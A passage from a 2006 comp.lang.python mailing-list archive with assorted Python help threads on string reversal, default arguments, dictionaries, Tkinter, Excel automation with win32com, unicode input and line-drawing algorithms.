> > I cannot find a way to do this in Python. I must be missing something very
> > simple here. I have tried the locale module but it will not put in the commas.
> > I hope I do not have to write my own formatting routine...surely one is out
> > there and I just can't find it.
> >
> > Running on XP Pro. Python 2.4.3.
> > 
> > Thanks much in advance,
> > 
> > Richard



From mail at microcorp.co.za  Fri Oct 20 01:57:05 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Fri, 20 Oct 2006 07:57:05 +0200
Subject: invert or reverse a string... warning this is a rant
References: <mailman.760.1161275432.11739.python-list@python.org><XpOZg.15950$UG4.1118@newsread2.news.pas.earthlink.net>
	<eh8dnq$4fm$1@sea.gmane.org>
Message-ID: <038b01c6f413$1f0c65e0$03000080@hendrik>

 "Fredrik Lundh" <fredrik at pythonware.com>wrote:
8<---------------------------
> 'a man a plan a canal panama' is not a palindrome
> 
> ?

not if spaces count -

able was I ere I saw elba  - is one  - but its a tougher test...

- Hendrik



From Laundro at gmail.com  Wed Oct  4 04:15:35 2006
From: Laundro at gmail.com (LaundroMat)
Date: 4 Oct 2006 01:15:35 -0700
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <1159913032.464542.17170@c28g2000cwb.googlegroups.com>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<1159913032.464542.17170@c28g2000cwb.googlegroups.com>
Message-ID: <1159949735.804278.141340@i42g2000cwa.googlegroups.com>


Rob De Almeida wrote:

> LaundroMat wrote:
> > Suppose I have this function:
> >
> > def f(var=1):
> > return var*2
> >
> > What value do I have to pass to f() if I want it to evaluate var to 1?
> > I know that f() will return 2, but what if I absolutely want to pass a
> > value to f()? "None" doesn't seem to work..
>
> If you *absolutely* want to pass a value and you don't know the default
> value (otherwise you could just pass it):
>
> >>> import inspect
> >>> v = inspect.getargspec(f)[3][0] # first default value
> >>> f(v)
> 2

I have in fact a bunch of functions that all pass similar information
to one main function. That function takes (amongst others) a template
variable. If it's not being passed, it is set to a default value by the
function called upon.

For the moment, whenever a function calls the main function, I check
whether the calling function has the template variable set:

>>> if template:
>>>    return mainFunction(var, template)
>>> else:
>>>    return mainFunction(var)

Now, I thought this isn't the cleanest way to do things; so I was
looking for ways to initialize the template variable, so that I could
always return mainFunction(var, template). mainFunction() would then
assign the default value to template.

>From your answers, this seems to be impossible. The minute my variable
is initialised, there's no way I can have mainFunction() assign a value
without explicitly asking it to do so.

I guess the best way would then be to change mainFunction from:
>>> def mainFunction(var, template='base'):
to
>>> def mainFunction(var, template):
>>> if len(template)=0:
>>>    template = 'base'

and have the calling functions call mainFunction (var, template) and
initialise template to ''.

I still have that nagging feeling nicer code could be written to solve
this, but I won't try to lose any sleep over it.

Thanks for all the replies.



From anthra.norell at vtxmail.ch  Mon Oct 16 05:15:01 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Mon, 16 Oct 2006 11:15:01 +0200
Subject: Ok. This IS homework ...
In-Reply-To: <1160866295.553656.112730@m7g2000cwm.googlegroups.com>
References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com>
Message-ID: <45334D95.908@vtxmail.ch>

spawn wrote:
> but I've been struggling with this for far too long and I'm about to
> start beating my head against the wall.
>
> My assignment seemed simple: create a program that will cacluate the
> running total of user inputs until it hits 100.  At 100 it should stop.
>  That's not the problem, in fact, that part works.  It's the adding
> that isn't working.  How can my program add 2 + 7 and come up with 14?
>
> I'm posting my code (so that you may all laugh).  If ANYONE has any
> ideas on what I'm doing wrong, I'd appreciate.
>
> ---------------------------------------------------
>
> running = True
> goal = 100
>
> # subtotal = 0
> # running_total = subtotal + guess
>
> while running:
> 	guess = int(raw_input('Enter an integer that I can use to add : '))
> 	subtotal = guess
>
> 	while running:
> 		guess = int(raw_input('I\'ll need another number : '))
> 		running_total = guess +	subtotal
> 		print running_total
>
> 		if running_total == goal:
> 			print 'Congratulations!  You\'re done.'
>
> 		elif running_total > goal:
> 			print 'That\'s a good number, but too high.  Try again.'
>
> print 'Done'
>
> --------------------------
>
> I tried adding an additional "while" statement to capture the second
> number, but it didn't seem to solve my problem.  Help!
>
>   
Dear anonymous student,

Once upon a time programmers did things like this:

               BEGIN
                 |
  -------------->|<-------------------------------------
 |               |                                      |
 |           catch input                                |
 |               |                                      |
 |       input type valid? - prompt for correct input --|
 |               +                                      |
 |        input too large? + --- prompt for new input --
 |               -
 |      add to running total 
 |               |
 |          status report 
 |               |
  -- - running total >= max?
                 +
            report done  
                 |
                END

It was called a flow chart. Flow charts could be translated directly 
into machine code written in assembly languages which had labels, tests 
and jumps as the only flow-control constructs. When structured 
programming introduced for and while loops they internalized labeling 
and jumping. That was a great convenience. Flow-charting became rather 
obsolete because the one-to-one correspondence between flow chart and 
code was largely lost.
    I still find flow charting useful for conceptualizing a system of 
logical states too complex for my intuition. Everybody's intuition has a 
limit. Your homework solution shows that the assignment exceeds yours. 
So my suggestion is that you use the flow chart, like this:


def homework ():

   # Local functions. (I won't do those for you.)

   def explain_rules ():                                 
   def check_type (r):                                   
   def explain_type ():
   def check_size (r):
   def explain_max_size ():
   def report_status (rt):
   def report_done ():


   # Main function

   GOAL          = 100                               #                BEGIN
   MAX_INPUT     =  20                               #                  |
   running_total =   0                               #                  |
                                                     #                  |
   explain_rules ()                                  #                  |
                                                     #                  | 
   while 1:                                          #   
-------------->|<-------------------------------------
                                                     #  |               
|                                      |
      response = raw_input ('Enter a number > ')     #  |           
catch input                                |
                                                     #  |               
|                                      |
      if check_type (response) == False:             #  |       input 
type valid? - prompt for correct input --|
         explain_type ()                             #  |               
+                                      |
         continue                                    #  |               
|                                      |
                                                     #  |               
|                                      |
      if check_size (response) == False:             #  |        input 
too large? + --- prompt for new input --
         explain_max_size ()                         #  |               -
         continue                                    #  |               |
                                                     #  |               |
      running_total += int (response)                #  |      add to 
running total 
      report_status (running_total)                  #  |          
status report 
                                                     #  |               |
      if running_total >= GOAL:                      #   -- - running 
total >= max?
         break                                       #                  +
                                                     #                  |
   report_done ()                                    #             
report done
                                                     #                  |
   #? return (whatever)                              #                 END


Frederic

(... inviting you to sign your posts and to let me know the grade your 
teacher gives you for completing the local functions.)



From python at hope.cz  Wed Oct 18 12:31:50 2006
From: python at hope.cz (Lad)
Date: 18 Oct 2006 09:31:50 -0700
Subject: Dictionaries
In-Reply-To: <pan.2006.10.18.16.07.07.924696@REMOVE.THIS.cybersource.com.au>
References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>
	<pan.2006.10.18.16.07.07.924696@REMOVE.THIS.cybersource.com.au>
Message-ID: <1161189110.702575.162220@f16g2000cwb.googlegroups.com>


Steven,
Thank you for your reply and question.

>
> What should the result be if both dictionaries have the same key?
The answer: the values should be added together and assigned to the key
That is
{'a':1, 'b':5}
( from your example below)

Is there a solution?
Thanks for the reply
L.

>
> a={'a':1, 'b'=2}
> b={'b':3}
>
> should the result be:
> {'a':1, 'b'=2}  # keep the existing value
> {'a':1, 'b'=3}  # replace the existing value
> {'a':1, 'b'=[2, 3]}  # keep both values
> or something else?
>
> Other people have already suggested using the update() method. If you want
> more control, you can do something like this:
>
> def add_dict(A, B):
>     """Add dictionaries A and B and return a new dictionary."""
>     C = A.copy()  # start with a copy of A
>     for key, value in B.items():
>         if C.has_key(key):
>             raise ValueError("duplicate key '%s' detected!" % key)
>         C[key] = value
>     return C
> 
> 
> -- 
> Steven.



From yellowalienbaby at gmail.com  Wed Oct 18 17:38:12 2006
From: yellowalienbaby at gmail.com (yellowalienbaby at gmail.com)
Date: 18 Oct 2006 14:38:12 -0700
Subject: Getting method name from within the class method
In-Reply-To: <mailman.716.1161205201.11739.python-list@python.org>
References: <mailman.716.1161205201.11739.python-list@python.org>
Message-ID: <1161207492.298811.178110@m7g2000cwm.googlegroups.com>


Mitko Haralanov wrote:
> I need to be able to get the name of the currently executed method
> within that method. I know that the method object does have the
> __name__ attribute but I know know how to access it from withing the
> method.
>
> Something like this:
>
> class A:
> ....
>     def a_method (self, this, that):
>          print <__name__>
>
> a = A ()
> a.a_method()
> 'a_method'
>
>
> Thanx for your help!

I'm not sure this is what you want, it seems redundant to me so i am
probably misunderstanding something, but I did;


>>> class test(object):
...  def a_method(self,this,that):
...   print self.a_method.__name__
...
>>> a=test()
>>> a.a_method('this','that')
a_method



From noway at sorry.com  Wed Oct  4 03:39:56 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Wed, 04 Oct 2006 07:39:56 GMT
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it><eft78f$put$1@sea.gmane.org>
	<mailman.1146.1159866456.10491.python-list@python.org>
Message-ID: <gzJUg.134225$zy5.1829430@twister1.libero.it>

Fredrik Lundh wrote:

> that's just not true.  lots of people have voiced concerns over using
> closed-sourced stuff originally designed for enterprise-level Java
> users for an application domain where Python has several widely used
> agile alternatives to chose from.

Frankly, I don't give a damn about the language the application is coded in, as
long as it is OUR application and not an application of a private company which
we do not own.

Even though you are totally right.
-- 
Giovanni Bajo




From Maria.Reinhammar at accalon.com  Tue Oct 10 09:22:19 2006
From: Maria.Reinhammar at accalon.com (MaR)
Date: 10 Oct 2006 06:22:19 -0700
Subject: Logic Programming
Message-ID: <1160486539.646429.129230@i42g2000cwa.googlegroups.com>

Yes! The question rears its head once again! ;o)

I have done some search and trial and horrors.. (PyLog has vanished?)
But I fail to find anything useful when it comes to do Logic
Programming (e.g. Prolog'ish)
in the context of Python.
And yes, I tend to beleive that I need to!
No, I do not really like the idea of piping def's and queries to
SWI-prolog ?la PyProlog.

So, I would be *so* happy if someone could point at some module that
gives me the possibility to define a knowledgebase and queries from
within Python and still access the structures from Python code.

*pleeze!*



From ath-admin at vt.edu  Thu Oct 19 13:58:46 2006
From: ath-admin at vt.edu (rick)
Date: Thu, 19 Oct 2006 13:58:46 -0400
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <mailman.774.1161280467.11739.python-list@python.org>
References: <mailman.774.1161280467.11739.python-list@python.org>
Message-ID: <eh8em4$4p5$1@solaris.cc.vt.edu>

Demel, Jeff wrote:
> Ok, let me re-phrase:
> 
> ...[snip]...
> I've been programming professionally for over 10 years, and have never
> once needed to reverse a string *or detect a palindrome*.  Maybe it's a
> lack of imagination on my part, but I can't think of a single instance
> this might be necessary.
> ...[snip]...

I read files backwards all the time. Just for the heck of it. Now, maybe 
I don't *need* to do this, but I do and I'd like to be able to do so 
like this:

x = open('file_name')
print x.read().reverse()
*OR* print reverse(x.read())
x.close()

To me, that makes sense. Of course, like I said earlier, I think backwards.


From peter.maas at somewhere.com  Fri Oct  6 16:55:38 2006
From: peter.maas at somewhere.com (Peter Maas)
Date: Fri, 06 Oct 2006 22:55:38 +0200
Subject: n-body problem at shootout.alioth.debian.org
In-Reply-To: <87sli1yz0c.fsf@pobox.com>
References: <eg6bku$59b$1@online.de> <87sli1yz0c.fsf@pobox.com>
Message-ID: <eg6fsr$cqv$1@online.de>

John J. Lee wrote:
> Replacing ** with multiplication in advance() cut it down to 0.78
> times the original running time for me.  That brings it along side
> PHP, one place below Perl (I didn't bother to upload the edited script).

I tried this also but got only 90%. Strange.

--
Regards/Gruesse,

Peter Maas, Aachen
E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64')


From ptmcg at austin.rr._bogus_.com  Fri Oct 13 11:36:02 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Fri, 13 Oct 2006 15:36:02 GMT
Subject: Line algorithim for python and numeric
References: <1160749997.673677.325150@m73g2000cwd.googlegroups.com><463ff4860610130741r48df2cfeu30e1b17eb124b350@mail.gmail.com>
	<mailman.451.1160752377.11739.python-list@python.org>
	<kdOXg.47125$DU3.14756@tornado.texas.rr.com>
Message-ID: <CnOXg.47128$DU3.6108@tornado.texas.rr.com>

"Paul McGuire" <ptmcg at austin.rr._bogus_.com> wrote in message 
news:kdOXg.47125$DU3.14756 at tornado.texas.rr.com...
> "Tim Chase" <python.list at tim.thechases.com> wrote in message 
> news:mailman.451.1160752377.11739.python-list at python.org...
>>>>   I'm wondering if anyone knows of a way to extract data from a numeric
>>>> array along a line. I have a gridded dataset which I would like to be
>>>> able to choose two points and extract a 1-d array of the data values
>>>> along the line between the two points. Any ideas?
>>>
>>> Are these all 45 degree lines or what?
>>>
>>> If not, you'll have to use trigonometry and approximate the closest
>>> matching cell. (Don't worry, Python has maths functions!! :))
>>
>>
>> There are a couple of optimal/easy cases where the run is horizontal, 
>> vertical, or as you describe, 45-degrees (where x_step = y_step or x_step 
>> = -y_step)
>>
>> Any other set of arbitrary points, and you will have to specify the 
>> behavior a little more finely.
>>
>> You can use something like Bresenham's algorithm to march either "over" 
>> or "up and over" to just pick out the "one point at each step that falls 
>> closest to the actual line" along the run. There's also the Wu 
>> Anti-aliasing line algorithm which takes something akin to Bresenham's 
>> algorithm and then samples the potential points to yield an 
>> "anti-aliased" result which averages the two potential  data-points 
>> (traditionally colors, but they could really be any average-able data 
>> values).
>>
>> I'm not sure I've seen either of them implemented in Python before 
>> (though actually *looking* for them might increase those odds ;-)
>>
>> http://en.wikipedia.org/wiki/Xiaolin_Wu's_line_algorithm
>>
>> has details and a pseudo-code implementation (which shouldn't be too far 
>> from the Python code).  It's also got links to stuff on Bresenham's.
>>
>> -tkc
>>
>>
> No need for Bresenham's algorithm here.  The point behind BA is to draw a 
> connected line using best selection of points, going cell-by-adjacent-cell 
> through the pixel map, so that you actually get a solid line in the 
> result. The OP's problem is much simpler - he/she (is "Theresaak" a boy 
> name or a girl name?) just wants the array of grid coordinates between a 
> starting and ending cell, so "continuousness" of the line is not an issue.
>
> -- Paul
>

Hmmm, maybe I was a little hasty.  Re-reading the OP's post, he/she may in 
fact want the Bresenham-type traversal of the grid from point A to point B.

Need a little more info on requirements, Theresaak.

-- Paul 




From smcg4191zz at friizz.RimoovAllZZs.com  Mon Oct  9 19:36:12 2006
From: smcg4191zz at friizz.RimoovAllZZs.com (Stuart McGraw)
Date: Mon, 9 Oct 2006 17:36:12 -0600
Subject: does raw_input() return unicode?
Message-ID: <12iln7en9ipit77@corp.supernews.com>

In the announcement for Python-2.3 
http://groups.google.com/group/comp.lang.python/msg/287e94d9fe25388d?hl=en
it says "raw_input(): can now return Unicode objects".

But I didn't see anything about this in Andrew Kuchling's
"2.3 What's New", nor does the current python docs for 
raw_input() say anything about this.  A test on a MS 
Windows system with a cp932 (japanese) default locale 
shows the object returned by raw_input() is a str() object 
containing cp932 encoded text.  This remained true even
when I set Python's default encoding to cp932 (in 
sitecustomize.py).

So, does raw_input() ever return unicode objects and if
so, under what conditions?



From kw at kevin-walzer.com  Thu Oct 19 15:29:44 2006
From: kw at kevin-walzer.com (Kevin Walzer)
Date: Thu, 19 Oct 2006 15:29:44 -0400
Subject: Tkinter--does anyone use it for sophisticated GUI development?
Message-ID: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>

I'm a Tcl/Tk developer who has been working, slowly, at learning Python,
in part because Python has better support for certain kinds of
applications that I want to develop than Tcl/Tk does. Naturally, I
thought that I would use Tkinter as the GUI for these programs. However,
in doing research into GUI development techniques, sample code, and
showcase applications, what has struck me is how little sophisticated
GUI development seems to be done in Tkinter as compared to, say,
wxPython. I've found plenty of tutorials on how to do basic GUI stuff
with Tkinter, but that stuff pretty much ends with the core Tk widgets
(buttons, entry fields, scrollbars, and menu items).

Coming from Tcl/Tk, where there are a huge number of extension packages
to enhance the Tk widgets and which allow you to make really polished
GUI's, I'm struck mainly by how little of this stuff has made it over
into Tkinter/Python. For instance, I've developed several Tcl
applications that use the core Tk widgets, the Tile theming package, the
Bwidget set (great tree widget and listbox, which allows you to embed
images), and tablelist (an extremely flexible muti-column listbox
display). I've found Python wrappers for some of this stuff, but almost
no documentation on how to use them, and very little in the way of
actual applications making use of them--which is itself a red flag. And
most of the pure-Python extension stuff that I've found, such as Python
megawidgets, is pretty dated/ugly and lags far behind the comparable
stuff on the Tcl side.

Am I better off biting the bullet and learning wxPython--a different GUI
paradigm to go with the new language I'm trying to learn? I had hoped to
reduce my learning curve, but I'm very concerned that I simply can't do
what I want to do with Tkinter. What do other Tkinter developers think?


From fredrik at pythonware.com  Fri Oct  6 08:20:35 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 14:20:35 +0200
Subject: TypeError: unsupported type for timedelta days component: unicode
In-Reply-To: <1160136815.138846.157910@b28g2000cwb.googlegroups.com>
References: <1160135247.133780.96690@m73g2000cwd.googlegroups.com>
	<1160136815.138846.157910@b28g2000cwb.googlegroups.com>
Message-ID: <eg5hmj$1pn$1@sea.gmane.org>

John Machin wrote:

> Why are you keeping your own files in a subdirectory of your Python
> installation?

IDLE defaults to the installation directory, so that's an easy thing
to do.  and as long as you put it in a subdirectory, it's not much of a 
problem either.  (at least not until you want to uninstall Python...)

</F>



From bignose+hates-spam at benfinney.id.au  Sun Oct 22 05:55:11 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sun, 22 Oct 2006 19:55:11 +1000
Subject: A very nice free browser to try...
References: <1161503124.710374.286500@f16g2000cwb.googlegroups.com>
Message-ID: <87mz7ovfnk.fsf@benfinney.id.au>

bj_private at yahoo.com writes:

> There's a very nice browser

Please don't spam about products unrelated to Python here.

-- 
 \       "A celebrity is one who is known by many people he is glad he |
  `\                               doesn't know."  -- Henry L. Mencken |
_o__)                                                                  |
Ben Finney



From bj_666 at gmx.net  Sat Oct 14 04:25:09 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Sat, 14 Oct 2006 10:25:09 +0200
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<1160802056.744732.323540@e3g2000cwe.googlegroups.com>
	<1160808124.455062.319660@m7g2000cwm.googlegroups.com>
Message-ID: <pan.2006.10.14.08.25.07.113791@gmx.net>

In <1160808124.455062.319660 at m7g2000cwm.googlegroups.com>, Kay Schluehr
wrote:

> brenocon at gmail.com wrote:
> 
>> Many have complained about this crippled-ness of lambda, but it
>> actually makes some sense.  Since Python uses colons and indentation to
>> define blocks of code, it would be awkward to close a multiline lambda.
>>  The best I could think of would look like
>>
>>     deferred.addCallback(lambda r:
>>         print("fancy formatting %s" % r.text)
>>     )
>>
>>     ^
>>     |
>>
>> That trailing paranthesis is WAY un-Pythonic.
> 
> Maybe it is not common place because some users are underinformed and
> hypnotized by whitespace semantics but you can add a trailing backslash
> to achieve line coninuation within a single expression:
> 
>>>> deferred.addCallback(lambda r:  puts("fancy formatting %s" \
> ... 	))
> 
> This works syntactically.

It works just fine without the trailing backslash.  A "logical line" does
not end until all opened parenthesis and brackets are matched by their
closing counterpart.

Ciao,
	Marc 'BlackJack' Rintsch


From fredrik at pythonware.com  Tue Oct 24 05:03:12 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Oct 2006 11:03:12 +0200
Subject: Protecting against SQL injection
References: <Xns986662F736DD5toreriknpolarno@129.242.5.222><7x1woy889g.fsf@ruckus.brouhaha.com>
	<87d58iqgjb.fsf@benfinney.id.au>
Message-ID: <ehkksf$tfh$1@sea.gmane.org>

Ben Finney wrote:

> More specifically: They've been debugged for just these kinds of
> purposes

in a well-designed database, the SQL parser never sees the parameter values,
so *injection* attacks are simply not possible.

</F> 





From hg at nospam.com  Wed Oct  4 13:57:24 2006
From: hg at nospam.com (hg)
Date: Wed, 04 Oct 2006 12:57:24 -0500
Subject: Python crash when trying to generate an Excel worksheet with
	VBA macros
In-Reply-To: <1159959227.175800.141450@m7g2000cwm.googlegroups.com>
References: <1159959227.175800.141450@m7g2000cwm.googlegroups.com>
Message-ID: <OISUg.8547$Go3.29@dukeread05>

dan_roman wrote:
> Hi,
> I developed a script with a nice interface in Tkinter that allows me to
> edit some formulas and to generate an Excel worksheet with VBA macros
> within it. The script runs perfectlly in Office 2000, but in Office
> 2003 crash at line: "wbc = workbook.VBProject.VBComponents.Add(1)"
> Please help me :-(
> 
> the code of the module that crash is (only in Excel 2003, in 2000 not):
> 
> import os
> import string
> from win32com.client import Dispatch, constants
> 
> str_code="""
> Dim nrfunc As Integer
> Dim cursor As Integer
> Dim i As Integer
> Dim j As Integer
> 
> 
> 
> Sub Fill()
> 
> 
> 'Aflu numaru de functii din XL
> i = 1
> ..................
> """
> def createExcelReport(projectName,templateName,saveToPath):
> 	# acquire application object, which may start application
> 	application = Dispatch("Excel.Application")
> 
> 	# create new file ('Workbook' in Excel-vocabulary) using the specified
> template
> 	workbook = application.Workbooks.Add("Template1.xls")
> 
> 	# store default worksheet object so we can delete it later
> 	defaultWorksheet = workbook.Worksheets(1)
> 
> 	worksheet1 = workbook.Worksheets(1)
> 	worksheet2 = workbook.Worksheets(2)
> 	worksheet3 = workbook.Worksheets(3)
> 
> ---->>>>>	wbc = workbook.VBProject.VBComponents.Add(1) <<<<------ here
> is the problem
> 
> 	wbc.Name="Module1"
> 
> 	wbc.CodeModule.AddFromString(str_code)
> 
> 	path=saveToPath+"\\"+projectName+"_"+templateName+".xls"
> 
> 	workbook.SaveAs(path)
> 
> 	worksheet1 = workbook.Worksheets(1)
> 
> 	# make stuff visible now.
> 	worksheet1.Activate()
> 	application.Visible = True
> 

Crash as in Office or as a Python exception ?



From idknow at gmail.com  Thu Oct 12 07:32:02 2006
From: idknow at gmail.com (idknow at gmail.com)
Date: 12 Oct 2006 04:32:02 -0700
Subject: Standard Forth versus Python: a case study
In-Reply-To: <l2jXg.63366$5o5.46778@tornado.texas.rr.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
	<1160603937.392188.253250@m7g2000cwm.googlegroups.com>
	<1160619958.438049.53390@h48g2000cwc.googlegroups.com>
	<l2jXg.63366$5o5.46778@tornado.texas.rr.com>
Message-ID: <1160652722.908731.213650@i42g2000cwa.googlegroups.com>

Paul McGuire wrote:
> <idknow at gmail.com> wrote in message
> news:1160619958.438049.53390 at h48g2000cwc.googlegroups.com...
> > [snip]
> >
> > no sort() is needed to calculate the median of a list.
> >
> > you just need one temp var.
> >
>
> Ok, I'll bite.  How do you compute the median of a list using just a single
> temp var?
>
> -- Paul

hi Paul; well when this was a stats-class assignment (back when pascal
was popular :) i just stepped through the vector and compared it

(pseudo-code)

ptr p = [with values].

fun median {
 var x = 0.
  while( *p++) {
    if( (*p) > x) x = *p.
  }
  return x.
}

of course, pascal is more verbose but that's median()



From anthra.norell at vtxmail.ch  Sun Oct  1 03:58:49 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Sun, 01 Oct 2006 09:58:49 +0200
Subject: Escapeism
In-Reply-To: <1159635727.840033.169540@m73g2000cwd.googlegroups.com>
References: <1159607884.182985.63200@m7g2000cwm.googlegroups.com>	<slrnehsel7.o25.sybrenUSE@schuimige.stuvel.eu>
	<1159635727.840033.169540@m73g2000cwd.googlegroups.com>
Message-ID: <451F7539.4090402@vtxmail.ch>

Kay Schluehr wrote:
> Sybren Stuvel wrote:
>   
>> Kay Schluehr enlightened us with:
>>     
>>> Usually I struggle a short while with \ and either succeed or give up.
>>> Today I'm in a different mood and don't give up. So here is my
>>> question:
>>>
>>> You have an unknown character string c such as '\n' , '\a' , '\7' etc.
>>>
>>> How do you echo them using print?
>>>
>>> print_str( c ) prints representation '\a' to stdout for c = '\a'
>>> print_str( c ) prints representation '\n' for c = '\n'
>>> ...
>>>
>>> It is required that not a beep or a linebreak shall be printed.
>>>       
>> try "print repr(c)".
>>     
>
> This yields the hexadecimal representation of the ASCII character and
> does not simply echo the keystrokes '\' and 'a' for '\a' ignoring the
> escape semantics. One way to achieve this naturally is by prefixing
> '\a' with r where r'\a' indicates a "raw" string. But unfortunately
> "rawrification" applies only to string literals and not to string
> objects ( such as c ). I consider creating a table consisting of pairs
> {'\0': r'\0','\1': r'\1',...}  i.e. a handcrafted mapping but maybe
> I've overlooked some simple function or trick that does the same for
> me.
>
> Kay
>
>   
Kay,

This is perhaps yet another case for SE? I don't really know, because I 
don't quite get what you're after. See for yourself:

 >>> import SE
 >>> Printabilizer = SE.SE ( '''
   (1)=\\1   # All 256 octets can be written as parenthesized ascii
   (2)=\\2
   "\a=\\a"  # (7)=\\a"
   "\n=\\n"  # or (10)=\\n  or (10)=LF or whatever
   "\r=\\r"  # (13)=CR
   "\f=\\f"
   "\v=\\v"
   # Add whatever other ones you like
   #    and translate them to anything you like.
 ''')

 >>> print Printabilizer ('abd\aefg\r\nhijk\vlmnop\1\2.')
abd\aefg\r\nhijk\vlmno\1\2. 
  

If you think this may help, you'll find SE here: 
http://cheeseshop.python.org/pypi/SE/2.2%20beta


Regards

Frederic



From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Wed Oct 11 11:43:54 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Wed, 11 Oct 2006 17:43:54 +0200
Subject: Dive Into Java?
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de>
	<4ovcbvFgc2nlU1@individual.net> <4p1jm5Fgpgl7U1@uni-berlin.de>
Message-ID: <4p4hpqFhc4ilU1@individual.net>

Diez B. Roggisch wrote:

> Yes. You can for example create a constructor for object Foo,
> which then is implicitly chosen when assigning an int to a
> variable of that kind. So it acts as a casting operator. I call
> that wicked, and subtle.
> 
> class Foo {
>   int _arg;
> public:
>   Foo(int arg) {
>     _arg = arg;
>   }
> };
> 
> int main() {
>   Foo f = 10;
> }

Just looks like Java's

String spam = "eggs";

> Who cares for the reason - it is there, isn't it? You are the one
> claiming that a new language should get rid of old concepts, btw.

Is C++ new? :) IIRC it's well 10 years older than Java, and that's
quite a lot in IT. Apart from this, Java is constantly evolving
(through Sun), where C++ is quite a standard since <= 1998.

> Where is your money, and where your mouth?

I'm not discussing for money ;)
   
> That is a matter of taste - but in the same way, we could argue
> about C++ and C, can't we?

ACK.

>> That's not exactly my point. What if I just wanted to build my
>> own interface compatible class ... impossible.
 
> I don't understand that.

If I'd like to write a class that is interface compatible to Java's
String, so e.g. that I can use it with "+" operator or the
simplified construction (String a = "b";).
 
> So what? Since when is compiler optimization a bad thing?

I don't offense compiler optimization, but the clunkiness of
those "special rules for String only" additions.

> What do you think happens all the time when mixing types in C++?

Mh, surely no convenience substitution in the sources for one class
only.

> And I know of some very elaborated schemes called "common base
> class idiom" for e.g. template-based vector classes to introduce
> allocation optimization to arithmetic expressions in C++.

I don't ;) Too high for me.
 
> The code _generated_ by the java compiler, and the C++ compiler,
> is not the issue here. 

Full ACK. (perhaps we were misunderstanding each other)

> and in C++, you can do:
> 
> char *a = "1";
> char *b = "2";
> char *c = a + b;
> 
> But with a totally different, unexpected outcome.. I know where
> *I* start laughing here.

Mh, in other languages you also *can* do stupid things. I'm thinking
about weird Python class designs. But Python's lack of private
variables isn't bad just because of this, is it?
 
> The way is not awkward, it is called auto-boxing/unboxing and
> works very well. 

But it looks weird. Why not use classes for basic types? Is
performance really the reason? It kind of splits the language
style.

> And this is more than matched by the subtle differences between
> 
> Foo a;
> Foo &a;
> Foo *a;

I don't think that's too subtle. But, perhaps, just because I'm used
to C++. It has a little bit too many compatibility features.

But I'd rather like to have several options than being forced in one
way.

Regards,


Bj?rn

-- 
BOFH excuse #449:

greenpeace free'd the mallocs



From fredrik at pythonware.com  Sun Oct  8 15:22:51 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 08 Oct 2006 21:22:51 +0200
Subject: references and buffer()
In-Reply-To: <f4cc03640610081209x772ca04ex2b47204a2003bfb0@mail.gmail.com>
References: <f4cc03640610081140i48be2853i68dde935d1b50b3d@mail.gmail.com>	<egbh20$o6q$2@sea.gmane.org>
	<f4cc03640610081209x772ca04ex2b47204a2003bfb0@mail.gmail.com>
Message-ID: <egbj6b$ugm$1@sea.gmane.org>

km wrote:

> ok so can i point a vairiable to an address location just as done in C 
> language ?

no.  there are no C-style "variables" in Python; just objects and names 
bound to objects.  Python variables are names, not memory locations.

>  >>> y = 'ATGCATGC'
>  >>> x = buffer(y)
>  >>> del(y)
>  >>> x
> <read-only buffer for 0xbf4cf0e0, size -1, offset 0 at 0xbf4cf240>
>  >>> print x
> ATGCATGC
> 
> now even when i delete y,  why is that x still exists ?

because it's an object.

> thats true even in the case of vairable assignment which states it a a 
> reference !
>  >>> a = 10
>  >>> b = a
>  >>> del(a)
>  >>> b
> 10
> i always thought if u modify the referred variable/buffer object it 
> should be reflected in the referenced variables/buffers objects . am i 
> wrong ?

reset your brain:

     http://effbot.org/zone/python-objects.htm

</F>



From paddy3118 at netscape.net  Fri Oct  6 15:50:44 2006
From: paddy3118 at netscape.net (Paddy)
Date: 6 Oct 2006 12:50:44 -0700
Subject: extract certain values from file with re
In-Reply-To: <mailman.1438.1160128294.10491.python-list@python.org>
References: <mailman.1438.1160128294.10491.python-list@python.org>
Message-ID: <1160164244.870600.68130@i3g2000cwc.googlegroups.com>


Fabian Braennstroem wrote:
> Hi,
>    ....
>
> I actually want to extract the lines with the numbers, write
> them to a file and finally use gnuplot for plotting them. A
> nicer and more python way would be to extract those numbers,
> write them into an array according to their column and plot
> those using the gnuplot or matplotlib module :-)
>

You might try comparing Ploticus to Gnuplot for your graph plotting
  http://ploticus.sourceforge.net/

... but if you already know gnuplot, and it does what you want then ...

- Pad.



From johnjsal at NOSPAMgmail.com  Mon Oct 30 15:47:58 2006
